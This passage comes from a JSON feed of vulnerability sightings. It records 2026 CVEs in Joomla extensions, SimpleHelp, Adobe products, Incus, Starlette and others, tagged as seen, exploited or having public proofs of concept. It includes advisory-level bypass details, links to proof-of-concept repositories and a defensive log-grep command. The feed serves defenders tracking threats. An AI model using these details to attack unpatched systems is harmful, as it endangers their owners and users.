could result in arb...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48373/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-18T16:00:39.670874Z"}, {"uuid": "775bc9a4-edb2-4cf0-aaa9-880f886221d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/qubble.social.pcpulse.us/post/3mqxbz5hu722g", "content": "Djinn exploits CVE-2026-48558 in SimpleHelp, bypassing auth, as confirmed by Dark Reading, targeting crypto control planes.", "creation_timestamp": "2026-07-18T22:14:13.279586Z"}, {"uuid": "8b12a735-92a5-42aa-9d17-ee35ba87a182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94050", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48939_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChiefYoru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 22:02:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\niCagenda extension for Joomla allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-18T23:00:03.529274Z"}, {"uuid": "efaab5f4-6387-49c1-9bcb-be2b6c3f7978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "exploited", "source": "Telegram/ibPzm16gF0sjZFLJaVULBcK_v0_qnzuuiiBsudPYi66KUg", "content": "", "creation_timestamp": "2026-07-19T00:00:28.017771Z"}, {"uuid": "3b7e2a5e-65e9-45fe-ba47-22ad2ec3210d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "Telegram/swSSD42LW-LWz-YbPtxhrdQ-mAC6f4Ds72enPFdAfgZsLQ", "content": "", "creation_timestamp": "2026-07-19T00:00:27.729312Z"}, {"uuid": "4938e665-54b4-4eeb-9f08-75b015e41d1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94111", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChiefYoru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 08:21:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Remote Code Execution (RCE) vulnerability in the JCE (Joomla Content Editor) extension for Joomla\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-19T10:00:03.243115Z"}, {"uuid": "4f88fcc5-0fd7-45d8-8116-96048d0cda96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48290", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqyxb25h5y2c", "content": "\ud83d\udccc CVE-2026-48290 - CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in arbitrary code execution in the context... https://www.cyberhub.blog/cves/CVE-2026-48290", "creation_timestamp": "2026-07-19T14:07:06.860670Z"}, {"uuid": "5cb793f0-9172-44a9-9773-412e257d25bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48345", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqyywodrtt26", "content": "\ud83d\udccc CVE-2026-48345 - Animate is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result i... https://www.cyberhub.blog/cves/CVE-2026-48345", "creation_timestamp": "2026-07-19T14:37:06.438816Z"}, {"uuid": "36e8132d-2323-4354-83e2-c7c11fca2a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/22689", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer \u2013 thehackernews.com\n\nTue, 30 Jun 2026 19:18:47", "creation_timestamp": "2026-07-19T16:00:04.559113Z"}, {"uuid": "da86e0d2-248e-4095-8e9f-3ede405d9cb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/21766", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root \u2013 thehackernews.com\n\nSat, 23 May 2026 15:35:13", "creation_timestamp": "2026-07-19T16:00:04.782486Z"}, {"uuid": "1ac1bf86-df5f-46a6-ab47-4f0207097541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48364", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqzcykkdwj2m", "content": "\ud83d\udccc CVE-2026-48364 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code ... https://www.cyberhub.blog/cves/CVE-2026-48364", "creation_timestamp": "2026-07-19T17:37:06.902059Z"}, {"uuid": "c799a826-b7be-4d8c-aec8-c5f9c00f23cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48363", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqzeo6xasb23", "content": "\ud83d\udccc CVE-2026-48363 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code ... https://www.cyberhub.blog/cves/CVE-2026-48363", "creation_timestamp": "2026-07-19T18:07:06.726947Z"}, {"uuid": "81c1fc72-d39e-4cf0-bcc0-c8d619f14e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/21766", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root \u2013 thehackernews.com\n\nSat, 23 May 2026 15:35:13", "creation_timestamp": "2026-07-20T00:00:22.511477Z"}, {"uuid": "f838cb72-88fa-4e52-8c0b-831a4927ceaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/22689", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer \u2013 thehackernews.com\n\nTue, 30 Jun 2026 19:18:47", "creation_timestamp": "2026-07-20T00:00:22.671783Z"}, {"uuid": "2751d2e1-c162-469f-8408-fea29a5aebe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48502", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr2mvnvtah26", "content": "\ud83d\udccc CVE-2026-48502 - MessagePack for C# is a MessagePack serializer for C#. Prior to 2.5.301 and 3.1.7, MessagePackReader.ReadDateTime() can allocate stack memory based on... https://www.cyberhub.blog/cves/CVE-2026-48502", "creation_timestamp": "2026-07-20T06:07:07.314637Z"}, {"uuid": "561a6c9d-1610-4879-b6ab-ff06d7f04c36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48109", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr2olcg7es2s", "content": "\ud83d\udccc CVE-2026-48109 - MessagePack for C# is a MessagePack serializer for C#. Prior to 2.5.301 and 3.1.7, A vulnerability exists in the optional LZ4 decompression path used ... https://www.cyberhub.blog/cves/CVE-2026-48109", "creation_timestamp": "2026-07-20T06:37:06.640559Z"}, {"uuid": "cf63a919-d75a-446f-bba9-492d2d7dab05", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/69756ecd-e976-4b99-a8b4-c786d1056cd8", "content": "", "creation_timestamp": "2026-07-20T08:00:31.177896Z"}, {"uuid": "cba716c0-d318-43fa-a6b7-b170e86db4b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/pphm_HackerNews/1704", "content": "\ud83d\udd34 Critical SimpleHelp flaw exploited to deploy new stealer malware\n\nHackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and Linux.\n\nThe SimpleHelp platform is primarily used by managed service providers (MSPs), IT departments, helpdesks, and system administrators for remote monitoring and management (RMM).\n\nEarlier this month, offensive security company Horizon3.ai published details about CVE-2026-48558, saying that the flaw could be leveraged to create highly privileged technician accounts without authentication.", "creation_timestamp": "2026-08-23T00:00:41.877886Z"}, {"uuid": "3f191c65-11a3-4b5d-bee5-cd9b2745f902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48854", "type": "published-proof-of-concept", "source": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-q8gf-9rvj-gmgj", "content": "", "creation_timestamp": "2026-08-25T20:35:25.533815Z"}, {"uuid": "940cd2ea-d303-4496-8340-75ba61c3adcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "seen", "source": "Telegram/zF5Spud96hIRv-kMH4Dj2nymZKpXTrW05uWfMwEMnMJUmrg", "content": "", "creation_timestamp": "2026-07-20T18:00:06.548861Z"}, {"uuid": "660f572a-b090-4cfb-a222-1da6202d9128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/hookprobe.com/post/3mr3o72ingm2w", "content": "How HookProbe Detects CVE-2026-48908 (JoomShaper SP Page Builder) \u2014 AI-native edge IDS on a $50 Raspberry Pi. #EdgeSecurity #RaspberryPi", "creation_timestamp": "2026-07-20T16:02:55.976677Z"}, {"uuid": "9dc5aeb1-a6cb-4568-a4ee-b7b032189af1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48205", "type": "seen", "source": "Telegram/zF5Spud96hIRv-kMH4Dj2nymZKpXTrW05uWfMwEMnMJUmrg", "content": "", "creation_timestamp": "2026-07-20T18:00:06.379355Z"}, {"uuid": "ded9595d-ad1e-47aa-8592-d6c9634320e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/FDMKvNPIu9DVJe1ShZsaOgvp3N-Hw55ecDYO_07oxLxjtOE", "content": "", "creation_timestamp": "2026-07-20T18:00:04.675847Z"}, {"uuid": "af028700-5972-45e1-a183-53e1b3b14392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "content": "", "creation_timestamp": "2026-07-20T18:00:05.301013Z"}, {"uuid": "4a7aa75b-ac6b-425d-bcaa-dc7cb8aff9d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "seen", "source": "Telegram/_1aH9U5OrIpGhndKfVcAzFKVC5sR_AJ7SIBHQMpkCGSufcw", "content": "", "creation_timestamp": "2026-07-20T18:00:06.662841Z"}, {"uuid": "53753fc9-621f-475d-80ac-7f6d3b23ad51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48599", "type": "published-proof-of-concept", "source": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-mwr4-5g34-j5cq", "content": "", "creation_timestamp": "2026-08-25T20:35:28.041205Z"}, {"uuid": "5b5cdfdb-70a5-4091-ad0e-59572acbac5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48391", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mu5fsfpwlc2s", "content": "\u300cAdobe Bridge\u300d\u300cAdobe Format Plugins\u300d\u306b\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u516c\u958b\n\nAdobe\u306f\u3001\u300cAdobe Bridge\u300d\u304a\u3088\u3073\u300cAdobe Format Plugins\u300d\u306b\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3053\u3068\u3092\u53d7\u3051\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\n\n...\n\n\u300cAdobe Bridge\u300d\u3067\u306f\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u691c\u7d22\u30d1\u30b9\u306b\u8d77\u56e0\u3059\u308b\u300cCVE-2026-48395\u300d\u300cCVE-2026-48391\u300d\u3084\u3001\u8a8d\u53ef\u51e6\u7406\u306b\u554f\u984c\u304c\u3042\u308b\u300cCVE-2026-48396\u300d\u300cCVE-2026-48390\u300d\u306a\u30698\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u305f\u3002\n\n\u3053\u306e\u307b\u304b\u3001\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u306e\u8106\u5f31\u6027\u300cCVE-2...", "creation_timestamp": "2026-08-28T12:53:35.984375Z"}, {"uuid": "2a92c422-8625-4028-b91a-9cca43164dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48853", "type": "published-proof-of-concept", "source": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-grp7-v8xh-rj7h", "content": "", "creation_timestamp": "2026-08-25T20:35:30.552873Z"}, {"uuid": "53a39217-8f56-4d99-a136-939a8b06cd28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48349", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr4kwieey42l", "content": "\ud83d\udccc CVE-2026-48349 - Animate is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Expl... https://www.cyberhub.blog/cves/CVE-2026-48349", "creation_timestamp": "2026-07-21T00:37:06.783960Z"}, {"uuid": "d621a7b3-432f-4e70-9a61-cd5a73770891", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48358", "type": "seen", "source": "https://bsky.app/profile/lasenal.bsky.social/post/3mr4ndkqn2e2l", "content": "Adobe parcha una falla cr\u00edtica en Commerce que permite ejecutar c\u00f3digo.\n\nDel 14 de julio, el bolet\u00edn APSB26-73 corrige CVE-2026-48358 (9,1) en los webhooks de Adobe Commerce y Magento. Adobe recomienda actualizar.\n\nLeer el bolet\u00edn de Adobe \u2192\n\n#LaSe\u00f1alNews #Ciberseguridad #CyberSecurity", "creation_timestamp": "2026-07-21T01:20:13.137154Z"}, {"uuid": "5840910f-1484-4868-a4f1-fc8bfc72ddea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/cve0day/431", "content": "CVE-2026-48710\n\nStarlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed. Users should upgrade to a version greater than or equal to version 1.0.1, which validates the Host header against the grammar of RFC 9112 \u00a73.2 / RFC 3986 \u00a73.2.2 when constructing request.url and falls back to scope[\"server\"] for malformed values.", "creation_timestamp": "2026-08-27T15:00:06.663938Z"}, {"uuid": "617a30cd-12c7-40c9-9696-22ca36018f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://t.me/cve0day/425", "content": "CVE-2026-48172\n\nLiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in the wild in May 2026. Detection is best done via a command line of grep -rE \"cpaneljsonapifunc=redisAble\" /var/cpanel/logs /usr/local/cpanel/logs/ 2>/dev/null in Bash. If you get no output, you have not been hit with exploitation of the vulnerability. If there is output, we recommend you examine the IP addresses in the list, determine if they are valid IP addresses, and if not, block them. To determine damage done, examine the system logs for use by the detected IP addresses. The issue is related to mishandling of Redis enable/disable features. The recommended minimum version is 2.4.7.", "creation_timestamp": "2026-08-27T15:00:07.156722Z"}, {"uuid": "ad864285-f281-4fc6-a5d3-0ff1affdaf4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48755", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtplp35oxs27", "content": "\ud83d\udd34 CVE-2026-48755 - Critical (9.9)\n\nIncus is a system container and virtual machine manager. Prior to version 7.1.0, improper validat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48755/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-23T01:01:50.418219Z"}, {"uuid": "8d11f918-1bd2-4a62-9630-81582e295b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48769", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtplpbks7x2l", "content": "\ud83d\udd34 CVE-2026-48769 - Critical (9.9)\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary fil...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48769/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-23T01:01:56.973592Z"}, {"uuid": "5d29e102-e864-4b1f-b421-33c5f2bbec7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48020", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/hpe-security-advisory-av26-727", "content": "", "creation_timestamp": "2026-07-21T20:15:03.654278Z"}, {"uuid": "c727bae4-6830-4039-961c-1df48cf1784d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "published-proof-of-concept", "source": "Telegram/zF5Spud96hIRv-kMH4Dj2nymZKpXTrW05uWfMwEMnMJUmrg", "content": "", "creation_timestamp": "2026-07-22T00:00:06.742315Z"}, {"uuid": "892bd71f-ecf2-4027-905f-395393e99a31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "published-proof-of-concept", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "content": "", "creation_timestamp": "2026-07-22T00:00:07.964446Z"}, {"uuid": "7f99eecb-bd21-418f-aeae-b64ac11dc627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "published-proof-of-concept", "source": "Telegram/_1aH9U5OrIpGhndKfVcAzFKVC5sR_AJ7SIBHQMpkCGSufcw", "content": "", "creation_timestamp": "2026-07-22T00:00:04.077755Z"}, {"uuid": "5d32429d-0ede-4c36-a0f8-712406161106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48205", "type": "published-proof-of-concept", "source": "Telegram/zF5Spud96hIRv-kMH4Dj2nymZKpXTrW05uWfMwEMnMJUmrg", "content": "", "creation_timestamp": "2026-07-22T00:00:06.955242Z"}, {"uuid": "3b4e0af1-2e43-420c-8a6d-88fc31a8cf5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48749", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtpoyspxgt2z", "content": "\ud83d\udd34 CVE-2026-48749 - Critical (9.9)\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, a specially craf...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48749/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-23T02:00:58.676262Z"}, {"uuid": "e7d66ddf-3ea6-4028-9526-6b1156183a5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48750", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtpoyzacmu22", "content": "\ud83d\udd34 CVE-2026-48750 - Critical (9.9)\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-outp...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48750/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-23T02:01:05.567427Z"}, {"uuid": "b171fb6e-02ae-4335-bdd9-78b77c6d375b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48396", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mu5fsfpwlc2s", "content": "\u300cAdobe Bridge\u300d\u300cAdobe Format Plugins\u300d\u306b\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u516c\u958b\n\nAdobe\u306f\u3001\u300cAdobe Bridge\u300d\u304a\u3088\u3073\u300cAdobe Format Plugins\u300d\u306b\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3053\u3068\u3092\u53d7\u3051\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\n\n...\n\n\u300cAdobe Bridge\u300d\u3067\u306f\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u691c\u7d22\u30d1\u30b9\u306b\u8d77\u56e0\u3059\u308b\u300cCVE-2026-48395\u300d\u300cCVE-2026-48391\u300d\u3084\u3001\u8a8d\u53ef\u51e6\u7406\u306b\u554f\u984c\u304c\u3042\u308b\u300cCVE-2026-48396\u300d\u300cCVE-2026-48390\u300d\u306a\u30698\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u305f\u3002\n\n\u3053\u306e\u307b\u304b\u3001\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u306e\u8106\u5f31\u6027\u300cCVE-2...", "creation_timestamp": "2026-08-28T12:53:36.036192Z"}, {"uuid": "32906998-20e3-4c43-9ede-42681f6e4193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48390", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mu5fsfpwlc2s", "content": "\u300cAdobe Bridge\u300d\u300cAdobe Format Plugins\u300d\u306b\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u516c\u958b\n\nAdobe\u306f\u3001\u300cAdobe Bridge\u300d\u304a\u3088\u3073\u300cAdobe Format Plugins\u300d\u306b\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3053\u3068\u3092\u53d7\u3051\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\n\n...\n\n\u300cAdobe Bridge\u300d\u3067\u306f\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u691c\u7d22\u30d1\u30b9\u306b\u8d77\u56e0\u3059\u308b\u300cCVE-2026-48395\u300d\u300cCVE-2026-48391\u300d\u3084\u3001\u8a8d\u53ef\u51e6\u7406\u306b\u554f\u984c\u304c\u3042\u308b\u300cCVE-2026-48396\u300d\u300cCVE-2026-48390\u300d\u306a\u30698\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u305f\u3002\n\n\u3053\u306e\u307b\u304b\u3001\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u306e\u8106\u5f31\u6027\u300cCVE-2...", "creation_timestamp": "2026-08-28T12:53:36.075538Z"}, {"uuid": "318d8e5b-5066-430e-8154-51431dc4d1d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48549", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-48549", "content": "", "creation_timestamp": "2026-08-26T20:15:03.734489Z"}, {"uuid": "a6a9aaf4-b300-40b7-a45e-d21b451a7383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/pphm_HackerNews/1457", "content": "\ud83d\udd34 